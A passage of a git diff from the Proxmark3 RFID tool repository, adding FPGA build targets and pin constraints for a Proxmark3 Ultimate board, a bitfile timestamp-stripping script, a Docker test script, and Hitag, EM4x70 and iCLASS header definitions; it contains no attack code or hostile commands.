+DOCKER_IMAGE=pm3-ubuntu-25.04:1.0 diff --git a/docker/ubuntu-25.04/run_tests.sh b/docker/ubuntu-25.04/run_tests.sh new file mode 100755 index 000000000..d65d78809 --- /dev/null +++ b/docker/ubuntu-25.04/run_tests.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +# Iceman 2022 +# +# This script is to be run from proxmark root folder inside the docker env +# docker/ubuntu-25.04/run_tests.sh; + +sudo apt update && sudo apt upgrade -y +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +tools/release_tests.sh +deactivate diff --git a/fpga/Makefile b/fpga/Makefile index 821ac0ec7..2411ab7e8 100644 --- a/fpga/Makefile +++ b/fpga/Makefile @@ -44,6 +44,9 @@ XST_OPTS_AREA += -opt_level 2 XST_OPTS_AREA += -fsm_style bram XST_OPTS_AREA += -fsm_encoding compact +# par specific option (set determistic seed) +PAR_OPTIONS = -t 2 + # Types of selective module compilation: # WITH_LF Enables selection of LF modules (and disables all HF) @@ -71,7 +74,11 @@ TARGET3_OPTIONS = -define \{WITH_HF0 WITH_HF1 WITH_HF3 WITH_HF5 WITH_HF_15 WITH_ # RDV40/Generic - Enable all HF modules except ISO14443 TARGET4_OPTIONS = -define \{WITH_HF0 WITH_HF1 WITH_HF3 WITH_HF4 WITH_HF5\} # ICOPYX -TARGET5_OPTIONS = -define {PM3ICOPYX} -rtlview Yes +TARGET5_OPTIONS = $(TARGET1_OPTIONS) +TARGET6_OPTIONS = $(TARGET1_OPTIONS) +TARGET7_OPTIONS = $(TARGET1_OPTIONS) +TARGET8_OPTIONS = $(TARGET1_OPTIONS) +TARGET9_OPTIONS = $(TARGET1_OPTIONS) # Here we list the target names TARGET1_NAME = fpga_pm3_lf @@ -79,6 +86,10 @@ TARGET2_NAME = fpga_pm3_hf TARGET3_NAME = fpga_pm3_hf_15 TARGET4_NAME = fpga_pm3_felica TARGET5_NAME = fpga_icopyx_hf +TARGET6_NAME = fpga_pm3_ult_lf +TARGET7_NAME = fpga_pm3_ult_hf +TARGET8_NAME = fpga_pm3_ult_hf_15 +TARGET9_NAME = fpga_pm3_ult_felica # Targets can be compiled for different FPGA flavours TARGET1_FPGA = xc2s30-5-vq100 @@ -86,6 +97,10 @@ TARGET2_FPGA = $(TARGET1_FPGA) TARGET3_FPGA = $(TARGET1_FPGA) TARGET4_FPGA = $(TARGET1_FPGA) TARGET5_FPGA = xc3s100e-4-vq100 +TARGET6_FPGA = xc2s50-5-tq144 +TARGET7_FPGA = $(TARGET6_FPGA) +TARGET8_FPGA = $(TARGET6_FPGA) +TARGET9_FPGA = $(TARGET6_FPGA) # Assemble the final XST options for each target TARGET1_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_AREA) -p $(TARGET1_FPGA) -ofn $(TARGET1_NAME) $(TARGET1_OPTIONS) @@ -93,6 +108,10 @@ TARGET2_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_AREA) -p $(TARGET2_FPGA) -ofn $( TARGET3_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_AREA) -p $(TARGET3_FPGA) -ofn $(TARGET3_NAME) $(TARGET3_OPTIONS) TARGET4_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_AREA) -p $(TARGET4_FPGA) -ofn $(TARGET4_NAME) $(TARGET4_OPTIONS) TARGET5_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_SPEED) -p $(TARGET5_FPGA) -ofn $(TARGET5_NAME) $(TARGET5_OPTIONS) +TARGET6_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_SPEED) -p $(TARGET6_FPGA) -ofn $(TARGET6_NAME) $(TARGET6_OPTIONS) +TARGET7_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_SPEED) -p $(TARGET7_FPGA) -ofn $(TARGET7_NAME) $(TARGET7_OPTIONS) +TARGET8_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_SPEED) -p $(TARGET8_FPGA) -ofn $(TARGET8_NAME) $(TARGET8_OPTIONS) +TARGET9_XST_OPTS = $(XST_OPTS_BASE) $(XST_OPTS_SPEED) -p $(TARGET9_FPGA) -ofn $(TARGET9_NAME) $(TARGET9_OPTIONS) # these files are common for all targets TARGET_COMMON_FILES = define.v @@ -118,14 +137,18 @@ TARGET2_FILES = $(TARGET1_FILES) TARGET3_FILES = $(TARGET1_FILES) TARGET4_FILES = $(TARGET1_FILES) TARGET5_FILES = $(TARGET_COMMON_FILES) mux2_onein.v mux2_oneout.v fpga_icopyx_hf.v fpga_icopyx_lf.v fpga_icopyx_top.v +TARGET6_FILES = $(TARGET1_FILES) +TARGET7_FILES = $(TARGET1_FILES) +TARGET8_FILES = $(TARGET1_FILES) +TARGET9_FILES = $(TARGET1_FILES) # List of all valid target FPGA images to build -TARGETS = $(TARGET1_NAME) $(TARGET2_NAME) $(TARGET3_NAME) $(TARGET4_NAME) $(TARGET5_NAME) +TARGETS = $(TARGET1_NAME) $(TARGET2_NAME) $(TARGET3_NAME) $(TARGET4_NAME) $(TARGET5_NAME) $(TARGET6_NAME) $(TARGET7_NAME) $(TARGET8_NAME) $(TARGET9_NAME) # Verbosity type for ISE tools ise|xflow|silent VERBOSITY = -intstyle silent # Echo (Q=) or not echo (Q=@) build commands to the terminal -Q=@ +Q= # Pass the custom variables to the lower make rules $(TARGET1_NAME).bit: TARGET_FPGA = $(TARGET1_FPGA) @@ -148,6 +171,22 @@ $(TARGET5_NAME).bit: TARGET_FPGA = $(TARGET5_FPGA) $(TARGET5_NAME).bit: TARGET_FILES = $(TARGET5_FILES) $(TARGET5_NAME).bit: TARGET_XST_OPTS = $(TARGET5_XST_OPTS) +$(TARGET6_NAME).bit: TARGET_FPGA = $(TARGET6_FPGA) +$(TARGET6_NAME).bit: TARGET_FILES = $(TARGET6_FILES) +$(TARGET6_NAME).bit: TARGET_XST_OPTS = $(TARGET6_XST_OPTS) + +$(TARGET7_NAME).bit: TARGET_FPGA = $(TARGET7_FPGA) +$(TARGET7_NAME).bit: TARGET_FILES = $(TARGET7_FILES) +$(TARGET7_NAME).bit: TARGET_XST_OPTS = $(TARGET7_XST_OPTS) + +$(TARGET8_NAME).bit: TARGET_FPGA = $(TARGET8_FPGA) +$(TARGET8_NAME).bit: TARGET_FILES = $(TARGET8_FILES) +$(TARGET8_NAME).bit: TARGET_XST_OPTS = $(TARGET8_XST_OPTS) + +$(TARGET9_NAME).bit: TARGET_FPGA = $(TARGET9_FPGA) +$(TARGET9_NAME).bit: TARGET_FILES = $(TARGET9_FILES) +$(TARGET9_NAME).bit: TARGET_XST_OPTS = $(TARGET9_XST_OPTS) + $(TARGETS): $(Q)$(MKDIR) $(PREFIX)build_$@ $(Q)$(MAKE) -C $(PREFIX)build_$@ -f ../Makefile $(notdir $@).bit @@ -179,12 +218,13 @@ work: %.ncd: %_map.ncd $(Q)$(RM) $@ $(info [-] PAR $@) - $(Q)$(XILINX_TOOLS_PREFIX)par $(VERBOSITY) -w $< $@ + $(Q)$(XILINX_TOOLS_PREFIX)par $(PAR_OPTIONS) $(VERBOSITY) -w $< $@ %.bit: %.ncd $(Q)$(RM) $@ $*.drc $*.rbt $(info [=] BITGEN $@) $(Q)$(XILINX_TOOLS_PREFIX)bitgen $(VERBOSITY) -w $* $@ + $(Q)python3 ../strip_date_time_from_binary.py $@ || true $(Q)$(CP) $@ .. # Build all targets diff --git a/fpga/fpga_icopyx_hf.bit b/fpga/fpga_icopyx_hf.bit index db2878bbf..6198fa35f 100644 Binary files a/fpga/fpga_icopyx_hf.bit and b/fpga/fpga_icopyx_hf.bit differ diff --git a/fpga/fpga_pm3_felica.bit b/fpga/fpga_pm3_felica.bit index f79babab6..cbc31b0e3 100644 Binary files a/fpga/fpga_pm3_felica.bit and b/fpga/fpga_pm3_felica.bit differ diff --git a/fpga/fpga_pm3_hf.bit b/fpga/fpga_pm3_hf.bit index 2e7a94059..9713f7406 100644 Binary files a/fpga/fpga_pm3_hf.bit and b/fpga/fpga_pm3_hf.bit differ diff --git a/fpga/fpga_pm3_hf_15.bit b/fpga/fpga_pm3_hf_15.bit index f2b1e4ff3..b532b622a 100644 Binary files a/fpga/fpga_pm3_hf_15.bit and b/fpga/fpga_pm3_hf_15.bit differ diff --git a/fpga/fpga_pm3_lf.bit b/fpga/fpga_pm3_lf.bit index b87ea9489..50c8c6c1f 100644 Binary files a/fpga/fpga_pm3_lf.bit and b/fpga/fpga_pm3_lf.bit differ diff --git a/fpga/fpga_pm3_top.v b/fpga/fpga_pm3_top.v index a36cd3e6d..a183d34d2 100644 --- a/fpga/fpga_pm3_top.v +++ b/fpga/fpga_pm3_top.v @@ -28,6 +28,8 @@ //`define PM3GENERIC // iCopy-X with XC3S100E //`define PM3ICOPYX +// Proxmark3 Ultimate with XC2S50 +//`define PM3ULTIMATE // Pass desired defines to compiler to enable required modules // WITH_LF enables Low Frequency mode when defined else HF is enabled diff --git a/fpga/fpga_pm3_ult_felica.bit b/fpga/fpga_pm3_ult_felica.bit new file mode 100644 index 000000000..31bff7c05 Binary files /dev/null and b/fpga/fpga_pm3_ult_felica.bit differ diff --git a/fpga/fpga_pm3_ult_hf.bit b/fpga/fpga_pm3_ult_hf.bit new file mode 100644 index 000000000..4effbe83a Binary files /dev/null and b/fpga/fpga_pm3_ult_hf.bit differ diff --git a/fpga/fpga_pm3_ult_hf_15.bit b/fpga/fpga_pm3_ult_hf_15.bit new file mode 100644 index 000000000..deff00d73 Binary files /dev/null and b/fpga/fpga_pm3_ult_hf_15.bit differ diff --git a/fpga/fpga_pm3_ult_lf.bit b/fpga/fpga_pm3_ult_lf.bit new file mode 100644 index 000000000..74fbb661b Binary files /dev/null and b/fpga/fpga_pm3_ult_lf.bit differ diff --git a/fpga/strip_date_time_from_binary.py b/fpga/strip_date_time_from_binary.py new file mode 100644 index 000000000..aba9c0dc5 --- /dev/null +++ b/fpga/strip_date_time_from_binary.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 + +import sys + +# File to take a .bit file generated by xilinx webpack ISE +# and replace the date and time embedded within with 'F'. +# The header of the bitfile is seperated by ascii markers +# 'a', 'b', 'c', 'd' etc. +# see fpga_compress.c for comparison + +def parse_and_split_file(filename): + split_chars = ['a', 'b', 'c', 'd'] # Characters to split on + extracted_data = [] # for debug + + print("Overwriting date and time in bitfile {}".format(filename)) + + with open(filename, 'rb') as f: # Read as binary to handle non-text files + data = f.read(100) # Read first 100 bytes which should contain all information + + decoded_data = bytearray(data) + + for i in range(len(decoded_data) - 3): + # subsequent two bytes after marker are null and the length + next_byte = decoded_data[i+1] + data_length = decoded_data[i+2] - 1 # Don't overwrite terminating char + + if decoded_data[i] == ord(split_chars[0]) and next_byte == 0x0: + start = i+3 + extracted_data.append(decoded_data[start:start+data_length]) + + # time, date + if split_chars[0] == 'c' or split_chars[0] == 'd': + decoded_data[start:start+data_length] = bytes('F', encoding='ascii') * data_length + + split_chars.pop(0) + + if not split_chars: + break + + print("Extracted data from bitfile: {}".format(extracted_data)) + + with open(filename, 'r+b') as f: # Write back modified bytes + f.seek(0) + f.write(decoded_data.ljust(100, b' ')) + print("writing complete") + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python script.py ") + sys.exit(1) + + filename = sys.argv[1] + parse_and_split_file(filename) diff --git a/fpga/xc2s50-5-tq144.ucf b/fpga/xc2s50-5-tq144.ucf new file mode 100644 index 000000000..0964e1acf --- /dev/null +++ b/fpga/xc2s50-5-tq144.ucf @@ -0,0 +1,45 @@ +# See the schematic for the pin assignment. + +NET "adc_d<0>" LOC = "P54" ; +NET "adc_d<1>" LOC = "P57" ; +NET "adc_d<2>" LOC = "P59" ; +NET "adc_d<3>" LOC = "P60" ; +NET "adc_d<4>" LOC = "P62" ; +NET "adc_d<5>" LOC = "P63" ; +NET "adc_d<6>" LOC = "P65" ; +NET "adc_d<7>" LOC = "P67" ; +#NET "cross_hi" LOC = "P88" ; +#NET "miso" LOC = "P40" ; +NET "adc_clk" LOC = "P75" ; +NET "adc_noe" LOC = "P74" ; +NET "ck_1356meg" LOC = "P15" ; +NET "ck_1356megb" LOC = "P12" ; +NET "cross_lo" LOC = "P19" ; +NET "dbg" LOC = "P112" ; +NET "mosi" LOC = "P80" ; +NET "ncs" LOC = "P79" ; +NET "pck0" LOC = "P91" ; +NET "pwr_hi" LOC = "P31" ; +NET "pwr_lo" LOC = "P30" ; +NET "pwr_oe1" LOC = "P28" ; +NET "pwr_oe2" LOC = "P27" ; +NET "pwr_oe3" LOC = "P26" ; +NET "pwr_oe4" LOC = "P21" ; +NET "spck" LOC = "P88" ; +NET "ssp_clk" LOC = "P43" ; +NET "ssp_din" LOC = "P99" ; +NET "ssp_dout" LOC = "P94" ; +NET "ssp_frame" LOC = "P100" ; + +# definition of Clock nets: +NET "ck_1356meg" TNM_NET = "clk_net_1356" ; +NET "ck_1356megb" TNM_NET = "clk_net_1356b"; +NET "pck0" TNM_NET = "clk_net_pck0" ; +NET "spck" TNM_NET = "clk_net_spck" ; + +# Timing specs of clock nets: +TIMEGRP "clk_net_1356_all" = "clk_net_1356" "clk_net_1356b" ; +TIMESPEC "TS_1356MHz" = PERIOD "clk_net_1356_all" 74 ns HIGH 37 ns ; +TIMESPEC "TS_24MHz" = PERIOD "clk_net_pck0" 42 ns HIGH 21 ns ; +TIMESPEC "TS_4MHz" = PERIOD "clk_net_spck" 250 ns HIGH 125 ns ; + diff --git a/include/ansi.h b/include/ansi.h index 20815bc03..b791741f5 100644 --- a/include/ansi.h +++ b/include/ansi.h @@ -21,6 +21,12 @@ #define AEND "\x1b[0m" +#define _CLEAR_ "\x1b[2J" +#define _CLEAR_SCROLLBACK_ "\x1b[3J" +#define _TOP_ "\x1b[1;1f" + +#define _CLR_ "\x1b[0K" + #define _BLACK_(s) "\x1b[30m" s AEND #define _RED_(s) "\x1b[31m" s AEND #define _GREEN_(s) "\x1b[32m" s AEND @@ -57,10 +63,6 @@ #define _BACK_BRIGHT_CYAN_(s) "\x1b[46;1m" s AEND #define _BACK_BRIGHT_WHITE_(s) "\x1b[47;1m" s AEND -#define _CLEAR_ "\x1b[2J" -#define _CLEAR_SCROLLBACK_ "\x1b[3J" -#define _TOP_ "\x1b[1;1f" - #if defined(HAVE_READLINE) // https://wiki.hackzine.org/development/misc/readline-color-prompt.html // Applications may indicate that the prompt contains diff --git a/include/common.h b/include/common.h index b405b2ac7..086354750 100644 --- a/include/common.h +++ b/include/common.h @@ -202,10 +202,15 @@ extern bool g_tearoff_enabled; #endif // bit stream operations -#define TEST_BIT(data, i) (*((data) + ((i) / 8)) >> (7 - ((i) % 8))) & 1 -#define SET_BIT(data, i) *((data) + ((i) / 8)) |= (1 << (7 - ((i) % 8))) -#define CLEAR_BIT(data, i) *((data) + ((i) / 8)) &= ~(1 << (7 - ((i) % 8))) -#define FLIP_BIT(data, i) *((data) + ((i) / 8)) ^= (1 << (7 - ((i) % 8))) +#define TEST_BIT_MSB(data, i) ((*((data) + ((i) / 8)) >> (7 - ((i) % 8))) & 1) +#define SET_BIT_MSB(data, i) (*((data) + ((i) / 8)) |= (1 << (7 - ((i) % 8)))) +#define CLEAR_BIT_MSB(data, i) (*((data) + ((i) / 8)) &= ~(1 << (7 - ((i) % 8)))) +#define FLIP_BIT_MSB(data, i) (*((data) + ((i) / 8)) ^= (1 << (7 - ((i) % 8)))) + +#define TEST_BIT_LSB(data, i) ((*((data) + ((i) / 8)) >> ((i) % 8)) & 1) +#define SET_BIT_LSB(data, i) (*((data) + ((i) / 8)) |= (1 << ((i) % 8))) +#define CLEAR_BIT_LSB(data, i) (*((data) + ((i) / 8)) &= ~(1 << ((i) % 8))) +#define FLIP_BIT_LSB(data, i) (*((data) + ((i) / 8)) ^= (1 << ((i) % 8))) // time for decompressing and loading the image to the FPGA #define FPGA_LOAD_WAIT_TIME (1500) diff --git a/include/em4x70.h b/include/em4x70.h index 2a11acc02..23cb2d8ef 100644 --- a/include/em4x70.h +++ b/include/em4x70.h @@ -21,6 +21,7 @@ #include #include +#include #define EM4X70_NUM_BLOCKS 16 @@ -28,24 +29,36 @@ #define EM4X70_PIN_WORD_LOWER 10 #define EM4X70_PIN_WORD_UPPER 11 +/// @brief Command transport structure for EM4x70 commands. +/// @details +/// This structure is used to transport data from the PC +/// to the proxmark3, and contain all data needed for +/// a given `lf em 4x70 ...` command to be processed +/// on the proxmark3. +/// The only requirement is that this structure remain +/// smaller than the NG buffer size (256 bytes). typedef struct { - // ISSUE: `bool` type does not have a standard-defined size. - // therefore, compatibility between architectures / - // compilers is not guaranteed. - // ISSUE: C99 has no _Static_assert() ... was added in C11 - // TODO: add _Static_assert(sizeof(bool)==1); - // TODO: add _Static_assert(sizeof(em4x70_data_t)==36); - bool parity; + bool _ignored__was_use_parity; // BUGBUG: Ignored, but kept for structure size / offset compatibility // Used for writing address uint8_t address; - // ISSUE: Presumes target is little-endian + // BUGBUG: Non-portable ... presumes stored in little-endian form! uint16_t word; // PIN to unlock + // BUGBUG: Non-portable ... presumes stored in little-endian form! uint32_t pin; // Used for authentication + // + // IoT safe subset of C++ would be helpful here, + // to support variable-bit-length integer types + // as integral integer types. + // + // Even C23 would work for this (GCC14+, Clang15+): + // _BitInt(56) rnd; + // _BitInt(28) frnd; + // _BitInt(20) grnd; uint8_t frnd[4]; uint8_t grnd[3]; uint8_t rnd[7]; @@ -54,9 +67,20 @@ typedef struct { uint8_t crypt_key[12]; // used for bruteforce the partial key - // ISSUE: Presumes target is little-endian + // BUGBUG: Non-portable ... presumes stored in little-endian form! uint16_t start_key; } em4x70_data_t; +//_Static_assert(sizeof(em4x70_data_t) == 36); + +// ISSUE: `bool` type does not have a standard-defined size. +// therefore, compatibility between architectures / +// compilers is not guaranteed. +// TODO: verify alignof(bool) == 1 +//_Static_assert(sizeof(bool) == 1, "bool size mismatch"); +typedef union { + uint8_t data[32]; +} em4x70_tag_t; +//_Static_assert(sizeof(em4x70_tag_t) == 32, "em4x70_tag_t size mismatch"); #endif /* EM4X70_H__ */ diff --git a/include/hitag.h b/include/hitag.h index aa8ad7c9c..850ea68be 100644 --- a/include/hitag.h +++ b/include/hitag.h @@ -13,7 +13,7 @@ // // See LICENSE.txt for the text of the license. //----------------------------------------------------------------------------- -// Hitag 2, Hitag S +// Hitag 2, Hitag S, Hitag µ //----------------------------------------------------------------------------- @@ -27,68 +27,77 @@ #define HITAG_PASSWORD_SIZE 4 #define HITAG_UID_SIZE 4 #define HITAG_BLOCK_SIZE 4 + #define HITAG2_MAX_BLOCKS 8 #define HITAG2_MAX_BYTE_SIZE (HITAG2_MAX_BLOCKS * HITAG_BLOCK_SIZE) -#define HITAGS_NRAR_SIZE 8 -#define HITAGS_CRYPTOKEY_SIZE 6 -#define HITAGS_UID_SIZE 4 -#define HITAGS_PAGE_SIZE 4 -#define HITAGS_BLOCK_SIZE 4 -#define HITAGS_MAX_PAGES 64 -#define HITAGS_MAX_BYTE_SIZE (HITAGS_MAX_PAGES * HITAGS_PAGE_SIZE) +#define HITAGS_PAGE_SIZE HITAG_BLOCK_SIZE +#define HITAGS_BLOCK_PAGES 4 +#define HITAGS_BLOCK_SIZE (HITAGS_BLOCK_PAGES * HITAGS_MAX_PAGES) +#define HITAGS_MAX_PAGES 64 +#define HITAGS_MAX_BYTE_SIZE (HITAGS_MAX_PAGES * HITAGS_PAGE_SIZE) +#define HITAGS_UID_PADR 0 +#define HITAGS_CONFIG_PADR 1 + +// Add Hitag µ specific definitions +#define HITAGU_UID_SIZE 6 +#define HITAGU_BLOCK_SIZE HITAG_BLOCK_SIZE +#define HITAGU_MAX_BLOCKS 0x100 +#define HITAGU_MAX_BYTE_SIZE (HITAGU_MAX_BLOCKS * HITAGU_BLOCK_SIZE) +#define HITAGU_CONFIG_PADR 0xFF +#define HITAGU_PASSWORD_PADR 0xFE + +// Hitag µ IC Revision (ICR) values +#define HITAGU_ICR_STANDARD 0x10 // Standard Hitag µ +#define HITAGU_ICR_ADVANCED 0x20 // Hitag µ advanced +#define HITAGU_ICR_ADVANCED_PLUS 0x30 // Hitag µ advanced+ +#define HITAGU_ICR_8265 0x80 // 8265 + +// Hitag µ memory sizes based on ICR +#define HITAGU_MAX_PAGE_STANDARD 0x04 // 4 blocks (0x00-0x03) for standard Hitag µ +#define HITAGU_MAX_PAGE_ADVANCED 0x10 // 16 blocks (0x00-0x0F) for Hitag µ advanced +#define HITAGU_MAX_PAGE_ADVANCED_PLUS 0x37 // 56 blocks (0x00-0x36) for Hitag µ advanced+ +#define HITAGU_MAX_PAGE_8265 0x0F // 15 blocks (0x00-0x0E) for 8265 // need to see which limits these cards has #define HITAG1_MAX_BYTE_SIZE 64 -#define HITAGU_MAX_BYTE_SIZE 64 -#define HITAG_MAX_BYTE_SIZE (64 * HITAG_BLOCK_SIZE) +#define HITAG_MAX_BYTE_SIZE (64 * HITAG_BLOCK_SIZE) #define HITAG2_CONFIG_BLOCK 3 +// Modulation types - used by shared code +typedef enum modulation { + AC2K = 0, // Amplitude modulation 2000 bits/s + AC4K, // Amplitude modulation 4000 bits/s + MC4K, // Manchester modulation 4000 bits/s + MC8K // Manchester modulation 8000 bits/s +} MOD; + typedef enum { - RHTSF_PLAIN, - WHTSF_PLAIN, - RHTSF_CHALLENGE, - WHTSF_CHALLENGE, - RHTSF_KEY, - WHTSF_KEY, - HTS_LAST_CMD = WHTSF_KEY, + HTSF_PLAIN, + HTSF_82xx, + HTSF_CHALLENGE, + HTSF_KEY, + HTS_LAST_CMD = HTSF_KEY, - RHT1F_PLAIN, - RHT1F_AUTHENTICATE, - HT1_LAST_CMD = RHT1F_AUTHENTICATE, + HT1F_PLAIN, + HT1F_AUTHENTICATE, + HT1_LAST_CMD = HT1F_AUTHENTICATE, - RHT2F_PASSWORD, - RHT2F_AUTHENTICATE, - RHT2F_CRYPTO, - WHT2F_CRYPTO, - RHT2F_TEST_AUTH_ATTEMPTS, - RHT2F_UID_ONLY, - WHT2F_PASSWORD, - HT2_LAST_CMD = WHT2F_PASSWORD, + HT2F_PASSWORD, + HT2F_AUTHENTICATE, + HT2F_CRYPTO, + HT2F_TEST_AUTH_ATTEMPTS, + HT2F_UID_ONLY, + HT2_LAST_CMD = HT2F_UID_ONLY, + + // Add Hitag µ commands + HTUF_PLAIN, + HTUF_82xx, + HTUF_PASSWORD, + HTU_LAST_CMD = HTUF_PASSWORD, } PACKED hitag_function; -typedef struct { - hitag_function cmd; - int16_t page; - uint8_t data[4]; - uint8_t NrAr[8]; - uint8_t key[6]; - uint8_t pwd[4]; - - // Hitag 1 section. - // will reuse pwd or key field. - uint8_t key_no; - uint8_t logdata_0[4]; - uint8_t logdata_1[4]; - uint8_t nonce[4]; -} PACKED lf_hitag_data_t; - -typedef struct { - int status; - uint8_t data[256]; -} PACKED lf_hitag_crack_response_t; - //--------------------------------------------------------- // Hitag S //--------------------------------------------------------- @@ -111,42 +120,167 @@ typedef enum TAG_STATE { HT_WRITING_BLOCK_DATA } TSATE; -//number of start-of-frame bits -typedef enum SOF_TYPE { - HT_STANDARD = 0, - HT_ADVANCED, - HT_FAST_ADVANCED, - HT_ONE, - HT_NO_BITS -} stype; +typedef struct { + // con0 + uint8_t MEMT : 2; + uint8_t RES0 : 1; // for 82xx. Enable somekind extended TTF mode in conjunction with TTFM + uint8_t RES1 : 1; + uint8_t RES2 : 1; + uint8_t RES3 : 1; // for 82xx. Enable TTF FSK mode 0=RF/10 1=RF/8 + uint8_t RES4 : 1; + uint8_t RES5 : 1; + + // con1 + uint8_t LKP : 1; // 0 = page2/3 read write 1 =page2/3 read only in Plain mode and no access in authenticate mode + uint8_t LCON : 1; // 0 = con1/2 read write 1 =con1 read only and con2 OTP + uint8_t TTFM : 2; // the number of pages that are sent to the RWD + uint8_t TTFDR : 2; // data rate in TTF Mode + uint8_t TTFC : 1; // Transponder Talks first coding. 0 = Manchester 1 = Biphase + uint8_t auth : 1; // 0 = Plain 1 = Auth + // con2 + // 0 = read write 1 = read only + uint8_t LCK0 : 1; // page48-63 + uint8_t LCK1 : 1; // page32-47 + uint8_t LCK2 : 1; // page24-31 + uint8_t LCK3 : 1; // page16-23 + uint8_t LCK4 : 1; // page12-15 + uint8_t LCK5 : 1; // page8-11 + uint8_t LCK6 : 1; // page6/7 + uint8_t LCK7 : 1; // page4/5 + // reserved/pwdh0 + uint8_t pwdh0; +} PACKED hitags_config_t; struct hitagS_tag { PSTATE pstate; // protocol-state - TSATE tstate; // tag-state - uint32_t uid; - uint8_t pages[64][4]; - uint64_t key; - uint8_t pwdl0, pwdl1, pwdh0; - // con0 + TSATE tstate; // tag-state + int max_page; - stype mode; - // con1 - bool auth; // 0 = Plain 1 = Auth - bool TTFC; // Transponder Talks first coding. 0 = Manchester 1 = Biphase - int TTFDR; // data rate in TTF Mode - int TTFM; // the number of pages that are sent to the RWD - bool LCON; // 0 = con1/2 read write 1 =con1 read only and con2 OTP - bool LKP; // 0 = page2/3 read write 1 =page2/3 read only in Plain mode and no access in authenticate mode - // con2 - // 0 = read write 1 = read only - bool LCK7; // page4/5 - bool LCK6; // page6/7 - bool LCK5; // page8-11 - bool LCK4; // page12-15 - bool LCK3; // page16-23 - bool LCK2; // page24-31 - bool LCK1; // page32-47 - bool LCK0; // page48-63 -}; + + union { + uint8_t pages[HITAGS_MAX_PAGES][HITAGS_PAGE_SIZE]; + struct { + // page 0 + uint32_t uid_le; + + hitags_config_t config; + + // page 2 + uint8_t pwdl0; + uint8_t pwdl1; + uint64_t key : 48; // fixme: unaligned access + + // page 4 + } s; + } data; + +} PACKED; + +// Configuration byte 0 bit definitions +#define HITAGU_BYTE0_DATARATE_MASK 0x03 // Bits 0-1: data rate +#define HITAGU_BYTE0_DATARATE_2K 0x00 // 00 = 2kbit/s +#define HITAGU_BYTE0_DATARATE_4K 0x01 // 01 = 4kbit/s +#define HITAGU_BYTE0_DATARATE_8K 0x02 // 10 = 8kbit/s +#define HITAGU_BYTE0_ENCODING_MASK 0x04 // Bit 2: encoding +#define HITAGU_BYTE0_ENCODING_MANCHESTER 0x00 // 0 = Manchester +#define HITAGU_BYTE0_ENCODING_BIPHASE 0x01 // 1 = Biphase + +// Hitag µ configuration structure +typedef struct { + // byte0 + uint8_t datarate: 2; + uint8_t encoding: 1; + uint8_t pwdW0_127: 1; + uint8_t pwdW128_511: 1; + uint8_t pwdW512_max: 1; + uint8_t pwdRW512_max: 1; +} PACKED hitagu_config_t; + +typedef struct { + // byte0 + uint8_t datarate : 2; // 00 = 2kbit/s, 01 = 4kbit/s, 10 = 8kbit/s, 11 = 2kbit/s + uint8_t datarate_override : 1; // 0 = datarate, 1 = 2kbit/s + uint8_t encoding : 1; // 0 = Manchester, 1 = Biphase + + uint8_t reserved : 1; + uint8_t ttf_mode : 2; // 00/10/11 = "Block 0, Block 1, Block 2, Block 3", 01 = "Block 0, Block 1" + uint8_t ttf : 1; +} PACKED hitagu82xx_config_t; + +// Hitag µ tag structure +struct hitagU_tag { + PSTATE pstate; // protocol-state + TSATE tstate; // tag-state + + int max_page; + uint8_t uid[HITAGU_UID_SIZE]; + union { + uint8_t asBytes[HITAGU_BLOCK_SIZE]; + hitagu_config_t s; + hitagu82xx_config_t s82xx; + } config; + uint8_t password[HITAG_PASSWORD_SIZE]; + uint8_t icr; // IC Revision value - determines memory size + + union { + uint8_t pages[HITAGU_MAX_BLOCKS][HITAGU_BLOCK_SIZE]; + } data; +} PACKED; + +typedef struct { + hitag_function cmd; + uint8_t page; + uint8_t page_count; + uint8_t data[HITAG_BLOCK_SIZE]; + uint8_t NrAr[HITAG_NRAR_SIZE]; + // unaligned access to key as uint64_t will abort. + // todo: Why does the compiler without -munaligned-access generate unaligned-access code in the first place? + uint8_t key[HITAG_CRYPTOKEY_SIZE] __attribute__((aligned(4))); + uint8_t pwd[HITAG_PASSWORD_SIZE]; + + // Hitag 1 section. + // will reuse pwd or key field. + uint8_t key_no; + uint8_t logdata_0[4]; + uint8_t logdata_1[4]; + uint8_t nonce[4]; + + // Hitag S section + uint8_t mode; + + // Hitag µ section + uint8_t uid[HITAGU_UID_SIZE]; +} PACKED lf_hitag_data_t; + +typedef struct { + int status; + uint8_t data[256]; +} PACKED lf_hitag_crack_response_t; + +typedef union { + uint8_t asBytes[HITAGS_PAGE_SIZE]; + hitags_config_t s; +} hitags_config_page_t; + +typedef struct { + hitags_config_page_t config_page; + int8_t pages_reason[HITAGS_MAX_PAGES]; + uint8_t pages[HITAGS_MAX_PAGES][HITAGS_PAGE_SIZE]; +} PACKED lf_hts_read_response_t; + +typedef union { + uint8_t asBytes[HITAGU_BLOCK_SIZE]; + hitagu_config_t s; + hitagu82xx_config_t s82xx; +} hitagu_config_page_t; + +// Hitag µ read response structure +typedef struct { + hitagu_config_page_t config_page; + uint8_t uid[HITAGU_UID_SIZE]; + uint8_t icr; // IC Revision value for memory size detection + int8_t pages_reason[HITAGU_MAX_PAGE_ADVANCED_PLUS]; + uint8_t pages[HITAGU_MAX_PAGE_ADVANCED_PLUS][HITAGU_BLOCK_SIZE]; +} PACKED lf_htu_read_response_t; #endif diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index bb7b6193a..259c8cc2f 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -24,7 +24,8 @@ //----------------------------------------------------------------------------- // iCLASS / PICOPASS //----------------------------------------------------------------------------- -#define PICOPASS_BLOCK_SIZE 8 +#define PICOPASS_BLOCK_SIZE ( 8 ) +#define PICOPASS_MAX_BYTES ( 4096 ) // # 32k bits = 4096 bytes // iCLASS reader flags #define FLAG_ICLASS_READER_INIT 